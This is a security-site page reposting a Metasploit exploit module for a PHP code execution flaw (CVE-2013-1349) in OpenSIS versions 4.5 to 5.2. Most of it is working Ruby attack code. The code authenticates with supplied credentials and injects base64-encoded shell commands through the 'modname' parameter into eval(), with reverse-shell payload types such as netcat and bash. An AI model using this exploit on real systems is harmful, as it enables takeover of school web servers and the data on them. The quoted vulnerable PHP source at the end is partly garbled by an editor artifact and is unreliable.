首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSIS 'modname' PHP Code Execution
来源:metasploit.com 作者:EgiX 发布时间:2013-12-24  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'              => "OpenSIS 'modname' PHP Code Execution",
      'Description'       => %q{
        This module exploits a PHP code execution vulnerability in OpenSIS
        versions 4.5 to 5.2 which allows any authenticated user to execute
        arbitrary PHP code under the context of the web-server user.
        The 'ajax.php' file calls 'eval()' with user controlled data from
        the 'modname' parameter.
      },
      'License'           => MSF_LICENSE,
      'Author'            =>
        [
          'EgiX', # Discovery
          'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
        ],
      'References'        =>
        [
          ['CVE',   '2013-1349'],
          ['OSVDB', '100676'],
          ['URL',   'http://karmainsecurity.com/KIS-2013-10'],
          ['URL',   'http://sourceforge.net/p/opensis-ce/bugs/59/']
        ],
      'Payload'           =>
        {
          'BadChars'      => "\x00\x0a\x0d",
          'Compat'        =>
            {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
            }
        },
      'DefaultOptions'    =>
        {
          'ExitFunction'  => 'none'
        },
      'Platform'          => 'unix',
      'Arch'              => ARCH_CMD,
      'Targets'           =>
        [
          # Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
          ['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
        ],
      'Privileged'        => false,
      'DisclosureDate'    => 'Dec 04 2012',
      'DefaultTarget'     => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
        OptString.new('USERNAME',  [true, 'The username for OpenSIS']),
        OptString.new('PASSWORD',  [true, 'The password for OpenSIS'])
      ], self.class)
  end

  #
  # Login
  #
  def login(user, pass)
    @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
    print_status("#{peer} - Authenticating as user '#{user}'")
    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path, "index.php"),
      'cookie'     => @cookie,
      'vars_post'  => Hash[{
        'USERNAME' => user,
        'PASSWORD' => pass,
      }.to_a.shuffle]
    })
    if res and res.code == 200 and res.body =~ /Portal\.php/
      print_good("#{peer} - Authenticated as user '#{user}'")
      return true
    else
      print_error("#{peer} - Authenticating as user '#{user}' failed")
      return false
    end
  end

  #
  # Send command for execution
  #
  def execute_command(cmd, opts = { :php_function => 'system' } )
    code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
    junk = rand_text_alphanumeric(rand(10)+6)
    print_status("#{peer} - Sending payload (#{code.length} bytes)")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'ajax.php'),
      'cookie'    => @cookie,
      'vars_post' => {
        'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
      }
    })
    return res
  end

  #
  # Check credentials are valid and confirm command execution
  #
  def check
    return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
    print_status("#{peer} - Sending check")
    res = execute_command("echo #{fingerprint}")
    if res and res.body =~ /align=center>#{fingerprint}/
      return Exploit::CheckCode::Vulnerable
    elsif res
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Unknown
  end

  def exploit
    return unless login(datastore['USERNAME'], datastore['PASSWORD'])
    php_function = [
      'exec',
      'shell_exec',
      'passthru',
      'system'
    ].sample
    res = execute_command(payload.encoded, { :php_function => php_function })
    if res and res.code == 200 and res.body =~ /hacking_log/i
      print_good("#{peer} - Payload sent successfully")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
    end
  end
end

#
# Source
#
=begin ajax.php
90:	if(strpos(
___FCKpd___0
REQUEST['modname'],'?')!==false) 91: { 92: $vars = substr(
___FCKpd___0
REQUEST['modname'],(strpos(
___FCKpd___0
REQUEST['modname'],'?')+1)); 93: $modname = substr(
___FCKpd___0
REQUEST['modname'],0,strpos(
___FCKpd___0
REQUEST['modname'],'?')); 94: 95: $vars = explode('?',$vars); 96: foreach($vars as $code) 97: { 98: $code = decode_unicode_url("\
___FCKpd___0
REQUEST['".str_replace('=',"']='",$code)."';"); 99: eval($code); 100: } 101: } =end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zimbra Collaboration Server LF
·Synology DiskStation Manager S
·HP SiteScope issueSiebelCmd Re
·Red Hat CloudForms Management
·Firefox 15.0.1 Code Execution
·Easy Karaoke Player 3.3.31 Int
·Easy Karaokay Player 3.3.31 (.
·RealNetworks RealPlayer 16.0.3
·Internet Download Manager 6.17
·Huawei Technologies du Mobile
·RealPlayer Heap-based Buffer O
·RealNetworks RealPlayer Versio
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved